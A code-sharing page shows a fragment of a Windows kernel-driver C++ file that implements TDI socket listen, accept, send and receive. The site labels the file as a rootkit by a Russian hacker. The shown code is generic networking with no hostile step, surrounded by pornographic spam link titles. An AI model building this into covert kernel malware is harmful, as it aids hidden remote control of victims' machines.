亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? ktdistreamsocket.cpp

?? 爾羅斯著名黑客寫的rootkit
?? CPP
?? 第 1 頁 / 共 3 頁
字號:
        if (pIrp != NULL)
        {
          TdiBuildListen(
                 pIrp, 
                 pDeviceObject, 
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 TDI_QUERY_ACCEPT, // flags
                 m_pRequestListenInfo,
                 m_pReturnListenInfo);
          
          pIrpError = NULL;
          KeInitializeEvent(&m_kAcceptDestroyEvent, NotificationEvent, FALSE);
          KeInitializeEvent(&m_kListenEvent, NotificationEvent, FALSE);
          pIrp->UserEvent = &m_kListenEvent;
          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock, FALSE);
          if (NT_SUCCESS(NtStatus))
          {
            DbgPrint ("TdiListen: OK (%08x)!!!\n", NtStatus);
            m_bListen = TRUE;
            bRes = TRUE;
          }
          else
          {
            DbgPrint ("TdiListen: ERROR (%08x)!!!\n", NtStatus);
            delete[] m_pRequestListenInfo;
            m_pRequestListenInfo = NULL;
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
    if (m_bListen == FALSE && m_pRequestListenInfo != NULL)
      delete[] m_pRequestListenInfo;
  }

  return bRes;
}

BOOLEAN KTdiStreamSocket::Accept(ULONG dwTimeOut)
{
  //KLocker locker(&m_KSynchroObject);

  BOOLEAN                      bRes = FALSE;
  PIRP                         pIrp = NULL, pIrpError = NULL;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  PTA_IP_ADDRESS               pReturnAddress;
  PTDI_ADDRESS_IP              pIp;
  IO_STATUS_BLOCK              IoStatusBlock;
  PVOID                        pkEvents[2];
  LARGE_INTEGER                TimeOut;
  PLARGE_INTEGER               pTimeOut = NULL;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bBind == TRUE && m_bConnected == FALSE && m_bListen == TRUE)
    {
      if (dwTimeOut != 0)
      {
        pTimeOut = &TimeOut;
        TimeOut.QuadPart = dwTimeOut * 10000; // msec -> 100 nsec intervals
        TimeOut.QuadPart = -TimeOut.QuadPart;
      }
      
      pkEvents[0] = &m_kListenEvent;
      pkEvents[1] = &m_kAcceptDestroyEvent;

      NtStatus  = KeWaitForMultipleObjects(2, pkEvents, WaitAny, Suspended, KernelMode, FALSE, pTimeOut, NULL);
      
      if (NtStatus == 0)
      {
        pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);
      
        pReturnAddress = (PTA_IP_ADDRESS)(m_pReturnListenInfo->RemoteAddress);
        pReturnAddress->TAAddressCount = 1;
        pReturnAddress->Address[0].AddressLength = sizeof(TDI_ADDRESS_IP);
        pReturnAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
        
        pIrp = TdiBuildInternalDeviceControlIrp(
                      TDI_ACCEPT, 
                      pDeviceObject, 
                      m_pTdiConnectionObject,
                      NULL, 
                      NULL);
        pIrpError = pIrp;
        if (pIrp != NULL)
        {
          TdiBuildAccept(
                 pIrp, 
                 pDeviceObject, 
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 m_pRequestListenInfo,
                 m_pReturnListenInfo);
          
          pIrpError = NULL;
          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock, TRUE);
          if (NT_SUCCESS(NtStatus))
          {
            m_bConnected = TRUE;
            bRes = TRUE;
          
            pIp = (PTDI_ADDRESS_IP)(pReturnAddress->Address[0].Address);
            m_nRemotePort = W_BIG_TO_LITTLE_ENDIAN(pIp->sin_port);
            m_nRemoteAddress = D_BIG_TO_LITTLE_ENDIAN(pIp->in_addr);
          
            DbgPrint ("TdiAccept: OK (%08x : %04x)!!!\n", m_nRemoteAddress, m_nRemotePort);
          }
          else
          {
            DbgPrint ("TdiAccept: ERROR (%08x)!!!\n", NtStatus);
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
  }

  //m_KSynchroObject.UnLock();

  return bRes;
}
*/
ULONG KTdiStreamSocket::Send(PVOID pData, ULONG dwSize)
{
  //KLocker locker(&m_KSynchroObject);

  PIRP                         pIrp = NULL, pIrpError = NULL;
  PMDL                         pMdl;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  IO_STATUS_BLOCK              IoStatusBlock;
  ULONG                        dwBytesSended = 0;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bConnected == TRUE && dwSize != 0)
    {
      pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);

      pIrp = TdiBuildInternalDeviceControlIrp ( 
                     TDI_SEND,                                       // sub function
                     pDeviceObject,                                  // pointer to device object
                     m_pTdiConnectionObject,                         // pointer to control object
                     NULL,                                           // pointer to event
                     NULL);                                          // pointer to return buffer

      pIrpError = pIrp;
      if (pIrp == NULL)                                              // validate pointer
      {
        NtStatus = STATUS_INSUFFICIENT_RESOURCES;
      }
      else
      {
        pMdl = IoAllocateMdl(
                           pData,                                    // buffer pointer - virtual address
                           dwSize,                                   // length
                           FALSE,                                    // not secondary
                           FALSE,                                    // don't charge quota
                           NULL);                                    // don't use irp
        if (pMdl != NULL)                                            // validate mdl pointer
        {
          __try
          {
            MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);    // probe & lock
          } 
          __except(EXCEPTION_EXECUTE_HANDLER)
          {
            DbgPrint("EXCEPTION: MmProbeAndLockPages\n");
            IoFreeMdl(pMdl);
            pMdl = NULL;
          }
        }

        if (pMdl != NULL)
        {
          TdiBuildSend(
                 pIrp, 
                 pDeviceObject,
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 pMdl, 
                 0,
                 dwSize);
          pIrpError = NULL;

          //m_KSynchroObject.UnLock();

          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock);

          //m_KSynchroObject.Lock();

          if (NT_SUCCESS(NtStatus))
          {
            dwBytesSended = IoStatusBlock.Information;
          }
          else
          {
            DbgPrint ("TdiSend: ERROR (%08x)!!!\n", NtStatus);
            Disconnect();
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
  }

  //m_KSynchroObject.UnLock();

  return dwBytesSended;
}

ULONG KTdiStreamSocket::Receive(PVOID pData, ULONG dwSize)
{
  //KLocker locker(&m_KSynchroObject);

  PIRP                         pIrp = NULL, pIrpError = NULL;
  PMDL                         pMdl;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  IO_STATUS_BLOCK              IoStatusBlock;
  ULONG                        dwBytesRecv = 0;
  PVOID                        pMdlBuffer = NULL;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bConnected == TRUE && dwSize != 0)
    {
      pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);

      pMdlBuffer = new char[dwSize];

      pIrp = TdiBuildInternalDeviceControlIrp ( 
                     TDI_RECEIVE,                                    // sub function
                     pDeviceObject,                                  // pointer to device object
                     m_pTdiConnectionObject,                         // pointer to control object
                     NULL,                                           // pointer to event
                     NULL);                                // pointer to return buffer

      pIrpError = pIrp;
      if (pIrp == NULL || pMdlBuffer == NULL)                        // validate pointer
      {
        NtStatus = STATUS_INSUFFICIENT_RESOURCES;
      }
      else
      {
        pMdl = IoAllocateMdl(
                           pMdlBuffer,                               // buffer pointer - virtual address
                           dwSize,                                   // length
                           FALSE,                                    // not secondary
                           FALSE,                                    // don't charge quota
                           NULL);                                    // don't use irp
        if (pMdl != NULL)                                            // validate mdl pointer
        {
          __try
          {
            MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);    // probe & lock
          } 
          __except(EXCEPTION_EXECUTE_HANDLER)
          {
            DbgPrint("EXCEPTION: MmProbeAndLockPages\n");
            IoFreeMdl(pMdl);
            pMdl = NULL;
          }
        }

        if (pMdl != NULL)
        {
          TdiBuildReceive(
                 pIrp, 
                 pDeviceObject,
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 pMdl, 
                 0,
                 dwSize);
          pIrpError = NULL;

          //m_KSynchroObject.UnLock();

          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock);

          //m_KSynchroObject.Lock();

          if (NT_SUCCESS(NtStatus))
          {
            dwBytesRecv = IoStatusBlock.Information;
            memcpy(pData, pMdlBuffer, dwBytesRecv);
          }
          else
          {
            DbgPrint ("TdiRecv: ERROR (%08x)!!!\n", NtStatus);
            Disconnect();
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
    if (pMdlBuffer != NULL)
      delete[] pMdlBuffer;
  }

  //m_KSynchroObject.UnLock();

  return dwBytesRecv;
}


//
// protected functions
//

BOOLEAN KTdiStreamSocket::TdiOpenSocket(USHORT nLocalPort)
{
  BOOLEAN bRes = FALSE;
  if (TdiOpenTransport(nLocalPort) == TRUE)
  {
    //NTSTATUS NtStatus = TdiQueryAddress(m_pTdiTransportObject, &m_dwLocalAddress);
    //if (NT_SUCCESS(NtStatus))
    //{
    //  DbgPrint ( "Local IP Address = %X\n", m_dwLocalAddress );
      if (TdiOpenConnection() == FALSE)
      {
        TdiCloseTransport();
        m_hTdiConnection = NULL;
        m_pTdiConnectionObject = NULL;
        DbgPrint ( "ERROR: unable open connection\n" );
      }
      else
      {
        bRes = TRUE;
      }
    //}
    //else
    //{
    //  TdiCloseTransport();
    //  DbgPrint ( "ERROR: unable to determine local IP address\n" );
    //}
  }
  else
  {
    m_hTdiTransport = NULL;
    m_pTdiTransportObject = NULL;
  }
  
  return bRes;
}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一二三区精品视频| 国产精品剧情在线亚洲| 日韩精品三区四区| 欧美一区二区人人喊爽| 日本最新不卡在线| 精品国产百合女同互慰| 高清在线不卡av| 最新热久久免费视频| 91久久线看在观草草青青| 亚洲一区日韩精品中文字幕| 欧美日韩一区 二区 三区 久久精品| 日韩精品一二三四| 精品久久人人做人人爱| 北条麻妃国产九九精品视频| 一区二区三区毛片| 精品国产露脸精彩对白| 99re热视频这里只精品 | 久久日韩粉嫩一区二区三区| 成人午夜电影小说| 亚洲小说春色综合另类电影| 精品第一国产综合精品aⅴ| 成人不卡免费av| 青青草原综合久久大伊人精品 | 亚洲国产成人av好男人在线观看| 欧美一区二区三区色| 国产成人精品亚洲午夜麻豆| 亚洲成人福利片| 久久精品视频网| 欧美高清视频一二三区 | 欧美伊人久久久久久久久影院 | 亚洲一区在线视频| 精品99一区二区| 在线一区二区三区四区| 国产一本一道久久香蕉| 亚洲国产精品尤物yw在线观看| 久久久久久久久99精品| 欧美日韩国产不卡| 波多野结衣亚洲一区| 日本sm残虐另类| 尤物视频一区二区| 国产亚洲综合av| 69堂成人精品免费视频| 色激情天天射综合网| 国产精品亚洲成人| 蜜桃久久精品一区二区| 亚洲国产乱码最新视频 | 久久久久久97三级| 欧美日韩一区二区三区四区| fc2成人免费人成在线观看播放| 男人的天堂久久精品| 亚洲精品国产精品乱码不99| 欧美激情自拍偷拍| 日韩亚洲欧美在线| 欧美日精品一区视频| 99久久精品情趣| 粉嫩av亚洲一区二区图片| 久久99久久精品欧美| 亚洲 欧美综合在线网络| 亚洲女同一区二区| 国产精品久久久久久久久久久免费看 | 日韩一区二区视频在线观看| 欧美在线视频全部完| 成人免费毛片片v| 国产一区二区在线影院| 日韩1区2区3区| 日韩不卡一二三区| 日韩国产一二三区| 香蕉成人伊视频在线观看| 亚洲午夜久久久久久久久电影网 | 岛国精品在线观看| 国产成人免费视频网站 | 青青草精品视频| 午夜精品久久久久久久| 欧美bbbbb| 中文字幕中文字幕在线一区 | 色天天综合久久久久综合片| 一区二区三区毛片| av不卡在线观看| www.欧美亚洲| 91丨国产丨九色丨pron| 91色在线porny| 日本国产一区二区| 精品视频在线免费观看| 欧美日韩国产美女| 欧美精品一卡二卡| 欧美一卡二卡三卡| 久久亚洲二区三区| 中文字幕av资源一区| 亚洲欧美综合另类在线卡通| 亚洲视频一区在线| 亚洲成人午夜电影| 日韩高清中文字幕一区| 久久国产夜色精品鲁鲁99| 国产综合久久久久久鬼色| 成人综合婷婷国产精品久久免费| 成人性视频免费网站| 成人av网在线| 欧美影视一区在线| 日韩欧美国产综合一区| 国产日韩精品一区二区三区在线| 中文字幕一区二区三区四区 | 欧美日韩国产一级片| 欧美一区二区三区在线| wwwwww.欧美系列| 国产精品看片你懂得| 亚洲一区成人在线| 日本不卡一区二区| 国产福利一区二区三区视频在线| 91蜜桃在线观看| 日韩一区二区在线观看视频| 国产欧美1区2区3区| 亚洲一区二区三区四区五区中文| 日韩av电影天堂| av亚洲精华国产精华精| 91精品欧美福利在线观看| 国产女同互慰高潮91漫画| 亚洲免费观看高清完整版在线 | 亚洲国产精品av| 亚洲国产一区在线观看| 国产一区欧美一区| 欧美三级视频在线观看| 国产美女视频一区| 91成人在线免费观看| 欧美二区在线观看| 日韩欧美中文字幕精品| 国产精品欧美极品| 亚洲女同ⅹxx女同tv| 天天做天天摸天天爽国产一区| 国产精品一卡二卡| 欧美午夜不卡视频| 国产精品第13页| 久久99精品一区二区三区| 欧美在线色视频| 国产视频一区二区在线观看| 五月婷婷欧美视频| 色偷偷久久一区二区三区| 国产欧美一区二区在线观看| 美脚の诱脚舐め脚责91| 91久久精品一区二区三| 欧美国产丝袜视频| 国产麻豆91精品| 日韩一区二区三区免费观看| 亚洲福中文字幕伊人影院| 99久久综合精品| 亚洲国产精品成人综合色在线婷婷 | 国产精品乱码人人做人人爱| 日韩福利视频导航| 欧美三级日韩在线| 亚洲小少妇裸体bbw| 色狠狠综合天天综合综合| 亚洲欧洲精品成人久久奇米网| 国产美女主播视频一区| 精品毛片乱码1区2区3区| 日本欧美韩国一区三区| 7777精品伊人久久久大香线蕉超级流畅 | 一本久道久久综合中文字幕| 国产日韩欧美精品电影三级在线| 免费久久99精品国产| 欧美一区在线视频| 午夜不卡av在线| 在线成人免费观看| 同产精品九九九| 在线成人小视频| 日本免费新一区视频| 91精品国产日韩91久久久久久| 天堂在线一区二区| 3751色影院一区二区三区| 石原莉奈一区二区三区在线观看| 欧美日韩国产综合草草| 午夜天堂影视香蕉久久| 91精品福利在线一区二区三区| 人禽交欧美网站| 欧美精品一区二区不卡| 国产69精品一区二区亚洲孕妇| 国产亚洲精品久| 成人免费福利片| 亚洲色图丝袜美腿| 欧美日韩一区二区电影| 秋霞影院一区二区| 久久奇米777| 国产成人在线视频网站| 国产精品免费看片| 91麻豆福利精品推荐| 婷婷综合另类小说色区| 精品国产一二三区| 成人动漫中文字幕| 亚洲国产精品一区二区www在线 | 美国欧美日韩国产在线播放| 精品久久人人做人人爱| 国产99久久精品| 亚洲激情图片一区| 91精品国产综合久久福利软件| 国内精品免费**视频| 久久麻豆一区二区| 色又黄又爽网站www久久| 日韩电影在线看| 久久亚洲春色中文字幕久久久| 99国产精品久久久久久久久久| 婷婷丁香久久五月婷婷| 精品国精品自拍自在线|